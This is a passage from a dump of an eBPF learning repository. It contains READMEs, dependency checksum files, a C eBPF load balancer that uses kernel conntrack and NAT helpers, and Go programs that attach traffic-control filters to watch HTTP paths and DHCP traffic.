v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 23 | golang.org/x/sys v0.16.0 h1:xWw16ngr6ZMtmxDyKyIgsE93KNKz5HKmMa3b8ALHidU= 24 | golang.org/x/sys v0.16.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 25 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 26 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo= 27 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 28 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # learning-ebpf 2 | 3 | This repository is a learning guide to eBPF, and will aim to cover building projects in both C and in Golang. 4 | 5 | ## Setting up your environment 6 | 7 | There are requirements on the Linux kernel in order for various functions to work, so as a baseline i've opted for the Linux Kernel 6.1+ (this comes with a lot of helper functions that I will be using). 8 | 9 | ### So why wait for the 6.1 Kernel? 10 | 11 | I specifically have been waiting to implememt load balancing, but with connection tracking (Which I was going to write about in detail **BUT** [](https://arthurchiao.art/blog/conntrack-design-and-implementation/#151-network-address-translation-nat) covers most of it). So prior to this it was possible to write an eBPF powered load balancer for TCP/UDP etc.. however most examples that you will see will effectively just bounce packets between a series of backend hosts regardless of what is actually occuring within the packets. In order to maintain a stable connection between source and destination when traffic is traversing a load balancer we need to monitor and maintain a connection once it is established. Prior to this kernel release your only option was to implement connection tracking yourself within your eBPF program, which I certainly was not going to do (or was capable of doing). 12 | 13 | ## Setting up your environment 14 | 15 | 1. Install Ubuntu (22.04) 16 | 2. Update the package lists `sudo apt get update` 17 | 3. Install our 6.1 kernel `sudo apt install -y linux-image-6.1.0-1006-oem linux-headers-6.1.0-1006-oem linux-tools-6.1.0-1006-oem libbpf-dev` 18 | 4. Reboot ! 19 | 20 | ## Source code structure 21 | 22 | - `./ebpf` contains all of the source code for eBPF programs 23 | - `./ebpf/header/` contains our "generated" eBPF header for the system where you're running. 24 | - `./userland` contains all of the user facing programs that will interact with our eBPF programs 25 | 26 | ## Generated `eBPF` header 27 | 28 | We can "dump" all of the required bpf type format (btf)[https://www.kernel.org/doc/html/next/bpf/btf.html], most recent kernels have `/sys/kernel/btf/vmlinux` enabled in the kernel. This file contains **all** of the required function definitions within the kernel. With the following line we can dump this to a C header, which we can `#include vmlinux.h` thus allowing our programs to understand and use the various eBPF functions within the kernel. 29 | 30 | The following line usese the `bpftool` to parse this kernel specific file and generate the ebpf headers needed for all required programs. 31 | ``` 32 | bpftool btf dump file /sys/kernel/btf/vmlinux format c > ../../headers/vmlinux.h 33 | ``` -------------------------------------------------------------------------------- /userland/go/http/go.sum: -------------------------------------------------------------------------------- 1 | github.com/cilium/ebpf v0.11.0 h1:V8gS/bTCCjX9uUnkUFUpPsksM8n1lXBAvHcpiFk1X2Y= 2 | github.com/cilium/ebpf v0.11.0/go.mod h1:WE7CZAnqOL2RouJ4f1uyNhqr2P4CCvXFIqdRDUgWsVs= 3 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 4 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 5 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 6 | github.com/frankban/quicktest v1.14.5 h1:dfYrrRyLtiqT9GyKXgdh+k4inNeTvmGbuSgZ3lx3GhA= 7 | github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38= 8 | github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= 9 | github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= 10 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 11 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 12 | github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8= 13 | github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ= 14 | github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= 15 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 16 | github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY= 17 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 18 | github.com/vishvananda/netlink v1.1.0 h1:1iyaYNBLmP6L0220aDnYQpo1QEV4t4hJ+xEEhhJH8j0= 19 | github.com/vishvananda/netlink v1.1.0/go.mod h1:cTgwzPIzzgDAYoQrMm0EdrjRUBkTqKYppBueQtXaqoE= 20 | github.com/vishvananda/netns v0.0.0-20191106174202-0a2b9b5464df h1:OviZH7qLw/7ZovXvuNyL3XQl8UFofeikI1NW1Gypu7k= 21 | github.com/vishvananda/netns v0.0.0-20191106174202-0a2b9b5464df/go.mod h1:JP3t17pCcGlemwknint6hfoeCVQrEMVwxRLRjXpq+BU= 22 | golang.org/x/exp v0.0.0-20230224173230-c95f2b4c22f2 h1:Jvc7gsqn21cJHCmAWx0LiimpP18LZmUxkT5Mp7EZ1mI= 23 | golang.org/x/exp v0.0.0-20230224173230-c95f2b4c22f2/go.mod h1:CxIveKay+FTh1D0yPZemJVgC/95VzuuOLq5Qi4xnoYc= 24 | golang.org/x/sys v0.0.0-20190606203320-7fc4e5ec1444/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 25 | golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 26 | golang.org/x/sys v0.6.0 h1:MVltZSvRTcU2ljQOhs94SXPftV6DCNnZViHeQps87pQ= 27 | golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 28 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 29 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo= 30 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 31 | -------------------------------------------------------------------------------- /userland/c/tc_ingress/README.md: -------------------------------------------------------------------------------- 1 | # TC - Traffic Control with the Linux Kernel 6.1+ (using Ubuntu 2204) 2 | 3 | This repository contains all the code for building your own eBPF load balancer using the new helper functions that are available within the 6.1+ Kernel. 4 | 5 | ## So why wait for the 6.1 Kernel? 6 | 7 | I specifically have been waiting to implememt load balancing, but with connection tracking (Which I was going to write about in detail **BUT** [https://arthurchiao.art/blog/conntrack-design-and-implementation/#151-network-address-translation-nat](https://arthurchiao.art/blog/conntrack-design-and-implementation/#151-network-address-translation-nat) covers most of it). So prior to this it was possible to write an eBPF powered load balancer for TCP/UDP etc.. however most examples that you will see will effectively just bounce packets between a series of backend hosts regardless of what is actually occuring within the packets. In order to maintain a stable connection between source and destination when traffic is traversing a load balancer we need to monitor and maintain a connection once it is established. Prior to this kernel release your only option was to implement connection tracking yourself within your eBPF program, which I certainly was not going to do (or was capable of doing). 8 | 9 | ## The new eBPF helpers! 10 | 11 | Everyone loves a helper, and eBPF is no different! As work continues on within the eBPF ecosystem a lot of regular kernel functions are being exposed within your eBPF program through these helpers. With recent kernel versions the conntrack functions are now exposed to your eBPF programs, along with the capability to perform SNAT and DNAT! Some details are here [https://lwn.net/Articles/902023/](https://lwn.net/Articles/902023/). 12 | 13 | ### The new functions in question 14 | 15 | `struct nf_conn * bpf_skb_ct_alloc(struct __sk_buff * skb_ctx, struct bpf_sock_tuple * bpf_tuple, __u32 tuple__sz, struct bpf_ct_opts * opts, __u32 opts__sz) __ksym;` 16 | 17 | This function will allocate a new conntrack struct 18 | 19 | `struct nf_conn * bpf_skb_ct_lookup(struct __sk_buff * , struct bpf_sock_tuple * , __u32, struct bpf_ct_opts * , __u32) __ksym;` 20 | 21 | This function will lookup a connection tracking by looking up a tuple and returning the tracking (if it exists) 22 | 23 | `struct nf_conn * bpf_ct_insert_entry(struct nf_conn * nfct_i) __ksym;` 24 | 25 | This will add our new conntrack entry into the system. 26 | 27 | `int bpf_ct_set_nat_info(struct nf_conn * nfct, union nf_inet_addr * addr, int port, enum nf_nat_manip_type manip) __ksym;` 28 | 29 | Specify the NAT settings for this conntrack entry with a new address for a specific port using either `NF_NAT_MANIP_DST`(DNAT) or `NF_NAT_MANIP_SRC`(SNAT). 30 | 31 | `void bpf_ct_set_timeout(struct nf_conn * nfct, __u32 timeout) __ksym;` 32 | 33 | Specify the timeout (length before expiry) of a conntrack entry 34 | 35 | `int bpf_ct_set_status(const struct nf_conn * nfct, __u32 status) __ksym;` 36 | 37 | Set the status of a conntrack entry such as `IP_NEW` if it is a new entry 38 | 39 | `void bpf_ct_release(struct nf_conn * ) __ksym;` 40 | 41 | Release a reference count on a conntrack entry (for tidying up entries). 42 | 43 | ## The code 44 | 45 | - `tc.c` contains our eBPF code 46 | - `tc.h` contains all of our function and type definitions for our eBPF code 47 | - `backends.h` shared between eBPF and our userland code 48 | - `ux.` contains our userland code used to add entries to eBPF maps 49 | 50 | The code is heavily commented to help new users (hopefully) understand some of what is happening, but effectively it will intercept all incoming traffic on an interface on a specific port and loadbalance it to two backends/port. 51 | 52 | ## Setting up your environment 53 | 54 | 1. Install Ubuntu (22.04) 55 | 2. Update the package lists 56 | 3. Install our 6.1 kernel `sudo apt install -y linux-image-6.1.0-1006-oem linux-headers-6.1.0-1006-oem linux-tools-6.1.0-1006-oem libbpf-dev` 57 | 4. Reboot ! 58 | 59 | ## Building the code 60 | 61 | The `/make.sh` will build our skeleton code using `bpftool` and merge it all together into a single binary that will inject the eBPF code at runtime. 62 | 63 | ## Thanks 64 | 65 | Goes out to a number of repos with example code, the kernel test(s) and a few other places. 66 | -------------------------------------------------------------------------------- /userland/c/tc_ingress/ux.c: -------------------------------------------------------------------------------- 1 | // +build ignore 2 | 3 | #include 4 | #include 5 | #include "tcSkeleton.h" 6 | #include 7 | 8 | #include 9 | #include 10 | #include "../../../ebpf/tc_ingress/backends.h" 11 | 12 | static volatile sig_atomic_t exiting = 0; 13 | 14 | static void sig_int(int signo) 15 | { 16 | exiting = 1; 17 | } 18 | 19 | static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args) 20 | { 21 | switch (level) { 22 | 23 | case LIBBPF_WARN: 24 | return vfprintf(stderr, format, args); 25 | case LIBBPF_INFO: 26 | return vfprintf(stderr, format, args); 27 | case LIBBPF_DEBUG: 28 | break; 29 | } 30 | return 0; 31 | } 32 | 33 | int main(int argc, char **argv) 34 | { 35 | int interface; // Specify the inteface to bind to 36 | uint16_t listenport; // Specify the port that we will listen on 37 | struct backends backend; 38 | 39 | if (argc < 5) { 40 | fprintf(stderr, "Usage: lb port backendPort\n"); 41 | return 1; 42 | } 43 | 44 | interface = if_nametoindex(argv[1]); 45 | if (!interface) { 46 | fprintf(stderr, "Unknown interface %s\n", argv[1]); 47 | return 1; 48 | } 49 | 50 | listenport = atoi(argv[2]); 51 | inet_aton(argv[3], (struct in_addr *)&(backend.backend1)); 52 | inet_aton(argv[4], (struct in_addr *)&(backend.backend2)); 53 | 54 | if (backend.backend1 == 0 || backend.backend2 == 0) { 55 | fprintf(stderr, "Invalid backend IP values\n"); 56 | return 1; 57 | } 58 | 59 | if (argc < 6) 60 | backend.destPort = 80; 61 | else 62 | backend.destPort = atoi(argv[5]); 63 | 64 | // Configure our eBPF program to connect to ingress on the interface if 65 | DECLARE_LIBBPF_OPTS(bpf_tc_hook, tc_hook,.ifindex = interface, .attach_point = BPF_TC_INGRESS); 66 | DECLARE_LIBBPF_OPTS(bpf_tc_opts, tc_opts,.handle = 1, .priority = 1); 67 | 68 | // 69 | libbpf_set_strict_mode(LIBBPF_STRICT_ALL); 70 | // Set logging function 71 | libbpf_set_print(libbpf_print_fn); 72 | 73 | struct tc *skel = tc__open_and_load(); 74 | if (!skel) { 75 | fprintf(stderr, "Failed to open BPF skeleton\n"); 76 | return 1; 77 | } 78 | 79 | /* hack # of backends hard coded to 2 for initial demo */ 80 | __u16 key = listenport; 81 | int err; 82 | err = bpf_map__update_elem(skel->maps.svc_map, &key, sizeof(key), 83 | &backend, sizeof(backend), 84 | BPF_ANY); 85 | if (err) { 86 | fprintf(stderr, "Failed to update svc_map: %d\n", err); 87 | fprintf(stderr, "continuing with default backend mappings \n"); 88 | goto cleanup; 89 | } 90 | 91 | /* The hook (i.e. qdisc) may already exists because: 92 | * 1. it is created by other processes or users 93 | * 2. or since we are attaching to the TC ingress ONLY, 94 | * bpf_tc_hook_destroy does NOT really remove the qdisc, 95 | * there may be an egress filter on the qdisc 96 | */ 97 | bool created = false; 98 | err = bpf_tc_hook_create(&tc_hook); 99 | if (!err) 100 | created = true; 101 | if (err && err != -EEXIST) { 102 | fprintf(stderr, "Failed to create TC hook: %d\n", err); 103 | goto cleanup; 104 | } 105 | 106 | tc_opts.prog_fd = bpf_program__fd(skel->progs.tc_ingress); 107 | err = bpf_tc_attach(&tc_hook, &tc_opts); 108 | if (err) { 109 | fprintf(stderr, "Failed to attach TC: %d\n", err); 110 | goto cleanup; 111 | } 112 | 113 | if (signal(SIGINT, sig_int) == SIG_ERR) { 114 | err = errno; 115 | fprintf(stderr, "Can't set signal handler: %s\n", strerror(errno)); 116 | goto cleanup; 117 | } 118 | 119 | printf("started! use `sudo cat /sys/kernel/debug/tracing/trace_pipe` to see output of the BPF program.\n"); 120 | 121 | while (!exiting) { 122 | fprintf(stderr, "."); 123 | sleep(1); 124 | } 125 | 126 | tc_opts.flags = tc_opts.prog_fd = tc_opts.prog_id = 0; 127 | err = bpf_tc_detach(&tc_hook, &tc_opts); 128 | if (err) { 129 | fprintf(stderr, "Failed to detach TC: %d\n", err); 130 | goto cleanup; 131 | } 132 | 133 | cleanup: 134 | if (created) 135 | bpf_tc_hook_destroy(&tc_hook); 136 | tc__destroy(skel); 137 | return -err; 138 | } 139 | -------------------------------------------------------------------------------- /ebpf/tc_ingress/tc.c: -------------------------------------------------------------------------------- 1 | // +build ignore 2 | 3 | #include "../headers/vmlinux.h" 4 | #include "tc.h" 5 | 6 | // Called by the tc_ingress function (which is attached to the ingress of a network interface) 7 | int balance(struct __sk_buff * ctx) { 8 | 9 | // Parse the data (which should be an ethernet frame) 10 | void * data_end = (void * )(long) ctx -> data_end; 11 | void * data = (void * )(long) ctx -> data; 12 | struct ethhdr * eth = data; 13 | 14 | __u64 nh_off = sizeof( * eth); 15 | 16 | if (data + nh_off > data_end) 17 | return TC_ACT_OK; 18 | // If it's an ethernet frame determine if it's IP and TCP/UDP 19 | if (bpf_ntohs(eth -> h_proto) == ETH_P_IP) { 20 | 21 | struct bpf_sock_tuple bpf_tuple = {}; 22 | struct iphdr * iph = data + nh_off; 23 | struct bpf_ct_opts opts_def = { 24 | .netns_id = -1, 25 | }; 26 | struct nf_conn * conntrack; 27 | 28 | if ((void * )(iph + 1) > data_end) 29 | return TC_ACT_OK; 30 | 31 | opts_def.l4proto = iph -> protocol; 32 | bpf_tuple.ipv4.saddr = iph -> saddr; 33 | bpf_tuple.ipv4.daddr = iph -> daddr; 34 | 35 | if (iph -> protocol == IPPROTO_TCP) { 36 | struct tcphdr * tcph = (struct tcphdr * )(iph + 1); 37 | 38 | if ((void * )(tcph + 1) > data_end) 39 | return TC_ACT_OK; 40 | 41 | bpf_tuple.ipv4.sport = tcph -> source; 42 | bpf_tuple.ipv4.dport = tcph -> dest; 43 | } else if (iph -> protocol == IPPROTO_UDP) { 44 | struct udphdr * udph = (struct udphdr * )(iph + 1); 45 | 46 | if ((void * )(udph + 1) > data_end) 47 | return TC_ACT_OK; 48 | 49 | bpf_tuple.ipv4.sport = udph -> source; 50 | bpf_tuple.ipv4.dport = udph -> dest; 51 | } else { 52 | // Neither TCP or UDP, so ignore the packet 53 | return TC_ACT_OK; 54 | } 55 | 56 | // Store the destination port to use as a lookup key 57 | __u16 key = bpf_ntohs(bpf_tuple.ipv4.dport); 58 | struct backends * lookup; 59 | lookup = (struct backends * ) bpf_map_lookup_elem( & svc_map, & key); 60 | 61 | if (lookup) { 62 | bpf_printk("found backends for the incoming port %d %pI4 / %pI4", key, &lookup -> backend1, &lookup -> backend2); 63 | } else { 64 | // No backends, pass the packet onwards 65 | return TC_ACT_OK; 66 | } 67 | // Look for existing contrack 68 | conntrack = bpf_skb_ct_lookup(ctx, & bpf_tuple, sizeof(bpf_tuple.ipv4), & opts_def, sizeof(opts_def)); 69 | if (conntrack) { 70 | bpf_printk("found existing conntrack ID: 0x%X", conntrack); 71 | bpf_printk("timeout %u status %X dport %X",conntrack -> timeout, conntrack -> status, bpf_htons(bpf_tuple.ipv4.dport)); 72 | // decrement reference count on a conntrack 73 | bpf_ct_release(conntrack); 74 | } else { 75 | // Create a new conntrack entry 76 | struct nf_conn * newConntrack = bpf_skb_ct_alloc(ctx, & bpf_tuple, sizeof(bpf_tuple.ipv4), & opts_def, sizeof(opts_def)); 77 | 78 | if (!newConntrack) { 79 | bpf_printk("failed to allocate a new conntrack entry"); 80 | return TC_ACT_OK; 81 | } 82 | 83 | bpf_printk("incoming %pI4:%d, protocol: %u",&(iph -> daddr),bpf_tuple.ipv4.dport, iph -> protocol); 84 | 85 | union nf_inet_addr addr = {}; 86 | //default to first backend 87 | addr.ip = lookup -> backend1; 88 | // Rudimentary load balancing for now based on received source port 89 | if (bpf_htons(bpf_tuple.ipv4.sport) % 2) { 90 | addr.ip = lookup -> backend2; 91 | } 92 | bpf_printk("backend %pI4:%d",&(addr.ip),lookup -> destPort); 93 | 94 | // DNAT is set to the backend 95 | bpf_ct_set_nat_info(newConntrack, & addr, lookup -> destPort, NF_NAT_MANIP_DST); 96 | 97 | // SNAT is set to the host 98 | addr.ip = bpf_tuple.ipv4.daddr; 99 | bpf_ct_set_nat_info(newConntrack, & addr, -1, NF_NAT_MANIP_SRC); 100 | bpf_ct_set_timeout(newConntrack, 30000); 101 | // Set this as a new connection to be tracked 102 | bpf_ct_set_status(newConntrack, IP_CT_NEW); 103 | 104 | conntrack = bpf_ct_insert_entry(newConntrack); 105 | 106 | bpf_printk("bpf_ct_insert_entry() returned ct 0x%x", conntrack); 107 | 108 | if (conntrack) { 109 | // decrement reference count on a conntrack 110 | bpf_ct_release(conntrack); 111 | } 112 | } 113 | } 114 | return TC_ACT_OK; 115 | } 116 | 117 | SEC("tc") 118 | int tc_ingress(struct __sk_buff * ctx) { 119 | return balance(ctx); 120 | } 121 | 122 | char __license[] SEC("license") = "GPL"; -------------------------------------------------------------------------------- /userland/go/http/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "context" 6 | "flag" 7 | "fmt" 8 | "io" 9 | "net" 10 | "net/http" 11 | "os" 12 | "os/signal" 13 | "syscall" 14 | 15 | log "github.com/sirupsen/logrus" 16 | "github.com/vishvananda/netlink" 17 | "golang.org/x/sys/unix" 18 | ) 19 | 20 | //go:generate go run github.com/cilium/ebpf/cmd/bpf2go -cc clang -cflags "-O2 -g -Wall -Werror" bpf ../../../ebpf/http/http.c -- -I../headers 21 | 22 | func main() { 23 | 24 | ifaceName := flag.String("interface", "eth0", "The interface to watch network traffic on") 25 | path := flag.String("path", "", "The URL Path to watch for") 26 | flag.Parse() 27 | 28 | log.Infof("Starting 🐝 the eBPF HTTP watcher, on interface [%s] for path [%s]", *ifaceName, *path) 29 | 30 | go http.ListenAndServe(":80", nil) 31 | go http.ListenAndServe(":8090", nil) 32 | 33 | ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt, syscall.SIGTERM) 34 | defer stop() 35 | // Look up the network interface by name. 36 | devID, err := net.InterfaceByName(*ifaceName) 37 | if err != nil { 38 | log.Fatalf("lookup network iface %q: %s", ifaceName, err) 39 | } 40 | 41 | // Load pre-compiled programs into the kernel. 42 | objs := bpfObjects{} 43 | if err := loadBpfObjects(&objs, nil); err != nil { 44 | log.Fatalf("loading objects: %s", err) 45 | } 46 | defer objs.Close() 47 | 48 | qdisc := &netlink.GenericQdisc{ 49 | QdiscAttrs: netlink.QdiscAttrs{ 50 | LinkIndex: devID.Index, 51 | Handle: netlink.MakeHandle(0xffff, 0), 52 | Parent: netlink.HANDLE_INGRESS, 53 | }, 54 | QdiscType: "clsact", 55 | } 56 | 57 | err = netlink.QdiscReplace(qdisc) 58 | if err != nil { 59 | log.Fatalf("could not get replace qdisc: %v", err) 60 | } 61 | log.Info("Loaded TC QDisc") 62 | 63 | filterIngress := &netlink.BpfFilter{ 64 | FilterAttrs: netlink.FilterAttrs{ 65 | LinkIndex: devID.Index, 66 | Parent: netlink.HANDLE_MIN_INGRESS, 67 | Handle: 1, 68 | Protocol: unix.ETH_P_ALL, 69 | }, 70 | Fd: objs.TcIngress.FD(), 71 | Name: objs.TcIngress.String(), 72 | DirectAction: true, 73 | } 74 | 75 | if err := netlink.FilterReplace(filterIngress); err != nil { 76 | log.Fatalf("failed to replace tc filter: %v", err) 77 | } 78 | 79 | filterEgress := &netlink.BpfFilter{ 80 | FilterAttrs: netlink.FilterAttrs{ 81 | LinkIndex: devID.Index, 82 | Parent: netlink.HANDLE_MIN_EGRESS, 83 | Handle: 1, 84 | Protocol: unix.ETH_P_ALL, 85 | }, 86 | Fd: objs.TcEgress.FD(), 87 | Name: objs.TcEgress.String(), 88 | DirectAction: true, 89 | } 90 | 91 | if err := netlink.FilterReplace(filterEgress); err != nil { 92 | log.Fatalf("failed to replace tc filter: %v", err) 93 | } 94 | 95 | // Parse the URL Path 96 | var urlPath [20]uint8 97 | copy(urlPath[:], *path) 98 | 99 | err = objs.UrlMap.Put(urlPath, 100 | bpfUrlPath{ 101 | Path: urlPath, 102 | PathLen: uint8(len(urlPath)), 103 | }) 104 | if err != nil { 105 | panic(err) 106 | } 107 | 108 | log.Printf("Press Ctrl-C to exit and remove the program") 109 | 110 | // Drop the logs 111 | go cat() 112 | <-ctx.Done() // We wait here 113 | log.Info("Removing eBPF programs") 114 | 115 | link, err := netlink.LinkByName(*ifaceName) 116 | if err != nil { 117 | log.Fatalf("could not find iface: %v", err) 118 | } 119 | 120 | f, err := netlink.FilterList(link, netlink.HANDLE_MIN_INGRESS) 121 | if err != nil { 122 | log.Fatalf("could not list filters: %v", err) 123 | } 124 | 125 | if len(f) == 0 { 126 | log.Error("Unable to clean any filters") 127 | } 128 | for x := range f { 129 | err = netlink.FilterDel(f[x]) 130 | if err != nil { 131 | log.Fatalf("could not get remove filter: %v", err) 132 | } 133 | } 134 | 135 | f, err = netlink.FilterList(link, netlink.HANDLE_MIN_EGRESS) 136 | if err != nil { 137 | log.Fatalf("could not list filters: %v", err) 138 | } 139 | 140 | if len(f) == 0 { 141 | log.Error("Unable to clean any filters") 142 | } 143 | for x := range f { 144 | err = netlink.FilterDel(f[x]) 145 | if err != nil { 146 | log.Fatalf("could not get remove filter: %v", err) 147 | } 148 | } 149 | } 150 | 151 | func readLines(r io.Reader) { 152 | rd := bufio.NewReader(r) 153 | for { 154 | line, err := rd.ReadString('\n') 155 | if err == io.EOF { 156 | break 157 | } 158 | if err != nil { 159 | log.Fatal(err) 160 | } 161 | 162 | fmt.Printf("%s", line) 163 | 164 | } 165 | } 166 | 167 | func cat() { 168 | file, err := os.Open("/sys/kernel/tracing/trace_pipe") 169 | if err != nil { 170 | log.Fatal(err) 171 | } 172 | defer file.Close() 173 | readLines(file) 174 | } 175 | -------------------------------------------------------------------------------- /userland/go/dhcp/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "context" 6 | "encoding/binary" 7 | "flag" 8 | "fmt" 9 | "io" 10 | "net" 11 | "os" 12 | "os/signal" 13 | "syscall" 14 | 15 | "github.com/praserx/ipconv" 16 | 17 | log "github.com/sirupsen/logrus" 18 | "github.com/vishvananda/netlink" 19 | "golang.org/x/sys/unix" 20 | ) 21 | 22 | //go:generate go run github.com/cilium/ebpf/cmd/bpf2go -cc clang -cflags "-O2 -g -Wall -Werror" dhcp ../../../ebpf/dhcp/dhcp.c -- -I../headers 23 | 24 | func main() { 25 | 26 | ifaceName := flag.String("interface", "eth0", "The interface to watch network traffic on") 27 | mac := flag.String("mac", "", "The MAC address to watch for") 28 | 29 | address := flag.String("address", "", "The address to apply to the MAC address") 30 | 31 | flag.Parse() 32 | 33 | log.Infof("Starting 🐝 the eBPF DHCP watcher, on interface [%s]", *ifaceName) 34 | 35 | ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt, syscall.SIGTERM) 36 | defer stop() 37 | // Look up the network interface by name. 38 | devID, err := net.InterfaceByName(*ifaceName) 39 | if err != nil { 40 | log.Fatalf("lookup network iface %s: %s", *ifaceName, err) 41 | } 42 | parsedMac, err := net.ParseMAC(*mac) 43 | if err != nil { 44 | log.Fatalf("lookup network iface %s: %s", *ifaceName, err) 45 | } 46 | // Load pre-compiled programs into the kernel. 47 | objs := dhcpObjects{} 48 | if err := loadDhcpObjects(&objs, nil); err != nil { 49 | log.Fatalf("loading objects: %s", err) 50 | } 51 | parsedAddress, err := ipconv.IPv4ToInt(net.ParseIP(*address)) 52 | if err != nil { 53 | log.Fatalf("Error parsing IP address %s", err) 54 | } 55 | defer objs.Close() 56 | entry := dhcpDhcpEntry{ 57 | Address: HostToNetLong(parsedAddress), 58 | } 59 | err = objs.MacLookup.Put(parsedMac[:6], entry) 60 | if err != nil { 61 | log.Fatalf("add to map failed %w", err) 62 | } 63 | 64 | qdisc := &netlink.GenericQdisc{ 65 | QdiscAttrs: netlink.QdiscAttrs{ 66 | LinkIndex: devID.Index, 67 | Handle: netlink.MakeHandle(0xffff, 0), 68 | Parent: netlink.HANDLE_INGRESS, 69 | }, 70 | QdiscType: "clsact", 71 | } 72 | 73 | err = netlink.QdiscReplace(qdisc) 74 | if err != nil { 75 | log.Fatalf("could not get replace qdisc: %v", err) 76 | } 77 | log.Info("Loaded TC QDisc") 78 | 79 | filterIngress := &netlink.BpfFilter{ 80 | FilterAttrs: netlink.FilterAttrs{ 81 | LinkIndex: devID.Index, 82 | Parent: netlink.HANDLE_MIN_INGRESS, 83 | Handle: 1, 84 | Protocol: unix.ETH_P_ALL, 85 | }, 86 | Fd: objs.TcIngress.FD(), 87 | Name: objs.TcIngress.String(), 88 | DirectAction: true, 89 | } 90 | 91 | if err := netlink.FilterReplace(filterIngress); err != nil { 92 | log.Fatalf("failed to replace tc filter: %v", err) 93 | } 94 | 95 | filterEgress := &netlink.BpfFilter{ 96 | FilterAttrs: netlink.FilterAttrs{ 97 | LinkIndex: devID.Index, 98 | Parent: netlink.HANDLE_MIN_EGRESS, 99 | Handle: 1, 100 | Protocol: unix.ETH_P_ALL, 101 | }, 102 | Fd: objs.TcEgress.FD(), 103 | Name: objs.TcEgress.String(), 104 | DirectAction: true, 105 | } 106 | 107 | if err := netlink.FilterReplace(filterEgress); err != nil { 108 | log.Fatalf("failed to replace tc filter: %v", err) 109 | } 110 | 111 | log.Printf("Press Ctrl-C to exit and remove the program") 112 | 113 | // Drop the logs 114 | go cat() 115 | <-ctx.Done() // We wait here 116 | log.Info("Removing eBPF programs") 117 | 118 | link, err := netlink.LinkByName(*ifaceName) 119 | if err != nil { 120 | log.Fatalf("could not find iface: %v", err) 121 | } 122 | 123 | f, err := netlink.FilterList(link, netlink.HANDLE_MIN_INGRESS) 124 | if err != nil { 125 | log.Fatalf("could not list filters: %v", err) 126 | } 127 | 128 | if len(f) == 0 { 129 | log.Error("Unable to clean any filters") 130 | } 131 | for x := range f { 132 | err = netlink.FilterDel(f[x]) 133 | if err != nil { 134 | log.Fatalf("could not get remove filter: %v", err) 135 | } 136 | } 137 | 138 | f, err = netlink.FilterList(link, netlink.HANDLE_MIN_EGRESS) 139 | if err != nil { 140 | log.Fatalf("could not list filters: %v", err) 141 | } 142 | 143 | if len(f) == 0 { 144 | log.Error("Unable to clean any filters") 145 | } 146 | for x := range f { 147 | err = netlink.FilterDel(f[x]) 148 | if err != nil { 149 | log.Fatalf("could not get remove filter: %v", err) 150 | } 151 | } 152 | } 153 | 154 | func readLines(r io.Reader) { 155 | rd := bufio.NewReader(r) 156 | for { 157 | line, err := rd.ReadString('\n') 158 | if err == io.EOF { 159 | break 160 | } 161 | if err != nil { 162 | log.Fatal(err) 163 | } 164 | 165 | fmt.Printf("%s", line) 166 | 167 | } 168 | } 169 